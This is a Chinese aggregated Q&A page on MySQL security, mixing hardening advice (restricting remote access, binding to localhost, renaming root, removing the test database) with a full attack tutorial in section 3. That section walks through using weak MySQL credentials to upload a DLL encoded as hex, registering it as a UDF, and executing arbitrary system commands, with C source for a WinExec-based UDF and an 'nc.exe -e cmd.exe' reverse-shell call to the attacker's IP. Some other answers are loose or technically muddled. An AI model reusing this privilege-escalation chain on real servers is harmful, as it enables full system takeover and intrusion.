下面将提供保障MySQL安全的最佳方法。
1、避免从互联网访问MySQL数据库，确保特定主机才拥有访问特权
直接通过本地网络之外的计算机改变生产环境中的数据库是异常危险的。有时，管理员会打开主机对数据库的访问：
> GRANT ALL ON *.* TO 'root'@'%';
这其实是完全放开了对root的访问。所以，把重要的操作限制给特定主机非常重要：
> GRANT ALL ON *.* TO 'root'@'localhost';
> GRANT ALL ON *.* TO 'root'@'myip.athome'
> FLUSH PRIVILEGES
此时，你仍有完全的访问，但只有指定的IP(不管其是否静态)可以访问。
2、定期备份数据库
任何系统都有可能发生灾难。服务器、MySQL也会崩溃，也有可能遭受入侵，数据有可能被删除。只有为最糟糕的情况做好了充分的准备，才能够在事后快速地从灾难中恢复。企业最好把备份过程作为服务器的一项日常工作。
3、禁用或限制远程访问
前面说过，如果使用了远程访问，要确保只有定义的主机才可以访问服务器。这一般是通过TCP wrappers、iptables或任何其它的防火墙软件或硬件实现的。
为限制打开网络socket，管理员应当在my.cnf或my.ini的[mysqld]部分增加下面的参数：
skip-networking
这些文件位于windows的C:\Program Files\MySQL\MySQL Server 5.1文件夹中，或在Linux中，my.cnf位于/etc/，或位于/etc/mysql/。这行命令在MySQL启动期间，禁用了网络连接的初始化。请注意，在这里仍可以建立与MySQL服务器的本地连接。
另一个可行的方案是，强迫MySQL仅监听本机，方法是在my.cnf的[mysqld]部分增加下面一行：
bind-address=127.0.0.1
如果企业的用户从自己的机器连接到服务器或安装到另一台机器上的web服务器，你可能不太愿意禁用网络访问。此时，不妨考虑下面的有限许可访问：
mysql> GRANT SELECT, INSERT ON mydb.* TO 'someuser'@'somehost';
这里，你要把someuser换成用户名，把somehost换成相应的主机。
4、设置root用户的口令并改变其登录名
在linux中，root用户拥有对所有数据库的完全访问权。因而，在Linux的安装过程中，一定要设置root口令。当然，要改变默认的空口令，其方法如下：
Access MySQL控制台：$ mysql -u root -p
在MySQL控制台中执行：
> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('new_password');
在实际操作中，只需将上面一行的new_password换成实际的口令即可。
在Linux控制台中更改root口令的另一种方法是使用mysqladmin工具：
$ mysqladmin -u root password new_password
此时，也是将上面一行的new_password换成实际的口令即可。
当然，这是需要使用强口令来避免强力攻击。
为了更有效地改进root用户的安全性，另一种好方法是为其改名。为此，你必须更新表用户中的mySQL数据库。在MySQL控制台中进行操作：
> USE mysql;
> UPDATE user SET user="another_username" WHERE user="root";
> FLUSH PRIVILEGES;
然后，通过Linux访问MySQL控制台就要使用新用户名了：
$ mysql -u another_username -p
5、移除测试(test)数据库
在默认安装的MySQL中，匿名用户可以访问test数据库。我们可以移除任何无用的数据库，以避免在不可预料的情况下访问了数据库。因而，在MySQL控制台中，执行：
> DROP DATABASE test;
原文链接：http://soft.chinabyte.com/database/76/12788576.shtml
2. MYSQL数据库被入侵篡改了数据 该如何解决
数据库入侵被盗这个有时也好办，，如果你是公共查询数据库就非常好办了，你自己可以录入些特定的数据，到是怀疑谁盗你了，你就去他的平台查这些特定的数据，查到了，那就不用说了，报警！！警察肯定愿接案子。到时你就等着赔偿，不过这时数据库也就废了。以前有过这样的案例。你看现在没几个人敢盗数据库了。
3. 如何利用弱口令入侵MySQL数据库
很早网上就有了用mysql弱口令得到webshell教程，但是这次我要说的不是得到webshell，而是直接得到系统权限，看清楚了，是“直接”得到！
首先，我简单说一下mysql弱口令得到系统权限得过程：首先利用mysql脚本上传udf dll文件，然后利用注册UDF
DLL中自写的Function函数，而执行任意命令。
思路很简单，网上也有一些教程，但是他们要么没有给具体的代码，要么一句话代过，搞得象我似得小菜很难理解，终于在我付出了几天得不断测试得辛勤劳动后，有了点结果，我把详细过程和相关代码得交给大家，这样大家就可以自己写dll文件，自己生成不同文件得二进制码啦！
下面，我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码（网友Mix用的方法）：
set @a =
concat('',0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);
………………….
create table Mix(data LONGBLOB);//建表Mix,字段为data，类型为longblob
insert into Mix values("");update Mix set data = @a;//@a插入表Mix
select
data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//导出表中内容为文件
前两句很熟悉把，这个就是我们以前注入的时候，绕过’的解决办法，把代码的16进制数声明给一个变量，然后导入这个变量就行了。只不过这里，因为16进制代码是一个文件的内容，代码太长了，所以就用了concat函数不断把上次得代码类加起来，这样不断累计到一个变量a中。后面几句就很简单了，我都有注释。
后面三句好说，但是前面的那么多16进制数据，手工的话，累人啊！不过你还记得以前有一个exe2bat.vbs脚本吗？这次我们可以把这个脚本修改一下后，得到我们这里需要得mysql脚本！对比exe2bat.vbs生成得文件和我们需要脚本的文件格式，我们可以轻松的得到我们所需的脚本。脚本内容如下：
fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,"\"))
with
createobject("adodb.stream")
.type=1:.open:.loadfromfile
fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with
createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true)
.write "set @a = concat('',0x"
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then
.write ");" vbcrlf "set @a = concat(@a,0x"
next
end with
好了，现在只要你把所要上传的文件拖到这个脚本图标上面，就可以生成一个同名的txt文件了。这个txt文件，就是我们所需要的mysql脚本，当然我们还需要修改一下这个txt文件（毕竟他是我们偷工减料得来的！），把最后一行生成的多余的那句“set
@a = concat('',0x”删除了，加上建表，插值得那三句代码即可！
脚本生成了，如何上传？先登陆mysql服务器：
C:\>mysql –u root –h hostip –p
Mysql>use mysql;
//先进入mysql默认得数据库，否则你下一步的表将不知道属于哪个库
Mysql>\. E:\*.dll.txt;
//这儿就是你生成的mysql脚本
按照上面输入命令，就可以看见屏幕文字飞快闪烁（当然网速要快啦），不一会你的文件旧上传完毕了！
下面到达我们的重点，我们上传什么dll文件？就目前我再网上看到的有两个已经写好的dll文件，一个是Mix写得mix.dll，一个是envymask写得my_udf.dll,这两个我都用过，都很不错，但是都也有点不足。先来看看具体的使用过程吧！
先用mix.dll:
登陆mysql,输入命令：
Mysql> \. e:\mix.dll.txt;
Mysql>
CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';
//这儿的注册的Mixconnect就是在我们dll文件中实现的函数，我们将要用他执行系统命令！
Mysql> select
Mixconnect('你的ip','8080'); //填写你的反弹ip和端口
过一会儿，你监听8080端口的nc，就会得到一个系统权限的shell了！如图1：
这个的确不错，通过反弹得到得shell可以传过一些防火墙，可惜的是，它的这个函数没有写得很好，只能执行一次，当你第二次连接数据库后，再次运行“select
Mixconnect('你的ip','8080');”的时候，对方的mysql会当掉！报错，然后服务停止！
所以，使用mix.dll你只有一次成功，没有再来一次的机会！另外根据我的测试，他对Win2003的系统好像不起作用。
再用my_udf.dll：
Mysql>\. C:\my_udf.dll.txt
Mysql> CREATE FUNCTION my_udfdoor
RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';
//同样地，my_udfdoor也是我们注册后，用来执行系统命令得函数
Mysql> select my_udfdoor('’);
//这儿可以随便写my_udfdoor得参数，相当于我们只是要激活这个函数
好了，现在你可以不用关这个shell了，我们再开一个cmd，使用：
D:\>nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到这个后，输入“f**k”
,他是my_udfdoor默认密码，自己无法更改
过一会儿，你就有了系统权限的shell了，
由于他是hook
recv版，所以穿墙的能力很强，我是在上一个mix.dll反弹失败的情况下，才使用这个得，他果然不负所望！进系统后，发现它有双网卡，天网防火墙个人版V2.73，对外仅仅开放3306端口，由此可见，my_udf.dll确实有很强的穿透防火墙得能力！但是他也有一个bug,就是再我们连接激活这个函数后（就是使用了命令“select
my_udfdoor('’);”后），不管你是否连接，只要执行了:
Mysql>drop function my_udfdoor;
后，mysql也汇报错，然后挂掉，
所以，你使用这个dll文件无法删除你的痕迹！
最后，然我们自己写一个自定义的dll文件。看能不能解决问题。
我们仅仅使用mysql 得udf的示例作模版即可！看他的示例：
#include <stdlib.h>
#include <winsock.h>
#include
<mysql.h>
extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null,
char *error);
// 兼容C
}
char
*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error)
{
char * me = "my name";
return me;
// 调用此UDF将返回 my name
}
十分简单吧？好，我们只需要稍微改一下就可以有了自己的dll文件了：
下面是我的一个哥们Crackme是修改的：
#include
<stdlib.h>
#include <windows.h>
#include "mysql.h"
extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null, char *error);// sys_name就是函数名，你可以任意修改
__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char
*is_null, char *error) //当然这儿的sys_name也得改！
{
char me[256] = {0};
if
(args->arg_count == 1){
strncpy(me,args->args[0],args->lengths[0]);
me[args->lengths[0]]='\0';
WinExec(me,SW_HIDE); //就是用它来执行任意命令
}else
strcpy(me,"do nonthing.\n");
return me;
}
好，我们编译成sysudf.dll文件就可以了！我们来用他实验一把！
看操作：
Mysql>\.
C:\sysudf.dll.txt
Mysql>Create function sys_name returns string soname
'C:\\windows\\sysudf.dll';
Mysql>\. Nc.exe.txt //把nc.exe也上传上去
Mysql>select sys_name('nc.exe -e cmd.exe 我的ip 8080');
//sys_name参数只有一个，参数指定要执行的系统命令
好，看看在Win2003中的一个反弹shell了，
当然，我们你也可以不反弹shell了，而去执行其他命令，只不过不论是否执行成功，都没有回显，所以要保证命令格式正确。对于这个dll文件，经过测试，不论何时“drop
function
sys_name;”，都是不会报错的，同时也可以多次运行不同命令。至于他的缺点，就是他的穿墙能力跟Mix.dll一样不算太强，但对于实在穿不透的墙，直接运行其他命令就是最好的选择了。
上面三个dll文件可谓各有所短，如何选择，就看你遇到的实际情况了。
好了，从脚本得编写使用到dll文件编写使用，说了这么多，现在大家应该都会了吧？题目说的是弱口令得到系统权限，但是如果你在注入等其他过程中，爆出了config.php中的mysql密码，不也是可以使用的吗？这样我们岂不是也找到继Serv-u后又一大提权方法了吗？
4. mysql数据库被黑客植入广告 怎么办
由于缺乏必要的安全措施和备份机制，数据库中原有的数据均已丢失。为了恢复到Mysql初始的状态，重新安装了Mysql数据库，并且重新创建原先存在的数据库，同时，为了防止再次被黑客入侵，对Mysql进行了一些安全配置。
禁用或限制远程访问。若允许远程访问，需要确保特定主机才拥有访问权。
对用户进行合理授权，应用程序中最好不要直接使用root用户。
限制打开网络socket，此时仍可以建立与Mysql服务器的本地连接。
[mysqld]
skip-networking
强迫Mysql仅监听本机。
[mysqld]
bind-address=127.0.0.1
更改root用户的登录名称和密码。
移除测试数据库和匿名账户及废弃的账户。
禁用LOCAL INFILE。
[mysqld]
set-variable=local-infile=0
删除历史命令记录。
cat /dev/null > ~/.bash_history
cat /dev/null > ~/.mysql_history
及时安装Mysql安全补丁。
使用chroot限制Mysql运行环境。
自动定期备份数据库。
5. 请问知道MYSQL账号和密码可以入侵吗
挂马成功主要是靠一种叫 xss ( cross site scripting ) 的手段来达成, 就是将文字在送交你的服务器的内文中插入了程序代码. 然后在你的 cgi 写入数据库时 ( 不管你是 mysql, oracle ... ) 变成了可执行的指令. 目标可以是直接对你的服务器进行攻击, 也可以使其他的浏览者中伏.
要应对这些攻击有很多方法, 详细你可以搜一下 "XSS", 现在大致介绍 3 种方法给你:
将 COOKIES 设成 HttpOnly ( 这样就不能用 javascript 对 cookie 进行写入或窜改 )
将 cookies 设成 Secure ( 前题是你用 https )
在文字输入框全进行过滤, 将 < > 这些符号变成 > < , 这样代码就无法运行
最后, 由于 sql 的端口在路由器中不是直接对外 (正常情况下没这种需要, 请检查), 所以挂马人很少对你的 db 进行直接攻击, 而是透过你 cgi 上的漏动而间表操作你的 db 的
6. mysql数据库被黑客入侵部分报表丢失 如何恢复 急在线等 有酬谢
应该是无法恢复的，你应该做个备份...当然更要防止SQL注入！
7. 个人电脑搭建的php+mysql环境如无数据库密码或者密码简单会被入侵吗
不会入侵，mysql默认的链接方式只有本地用户可以链接mysql，通过网络不能链接mysql数据库。
8. 如何关闭Mysql打开的3306端口防止系统被入侵
Mysql会自动开启3306端口用于远程连接mysql服务. 3306端口就是MySQL的默认端口, 但是黑客可以通过它来攻击你的主机系统. 服务器默认MySQL端口是3306, 最近经常被扫描, 甚至扫描到网站很慢或者打不开. 如果不需要远程数据库连接就可以让Mysql关闭3306端口, 既提高了访问速度, 又提高了安全性. 避免远程连接mysql数据库. 本地程序可以通过mysql.sock来连接, 不影响使用.
SSH到主机上输入下面的命令:
vi /etc/my.cnf
在[mysqld]下添加:
skip-networking
最后重启Mysql
service mysqld restart
检查Mysql是否正常运行
service mysqld status
9. mysql被入侵
如果网站开放了web，入侵者可以从web下手，而且可以从数据库连接文件那里很轻松的找到你的root账号和密码，因此建议LZ对源码进行严格检查，杜绝sql注入，上传等漏洞，还有就是连接数据库使用最小权限原则，用root连接数据库对带来灾难性的打击的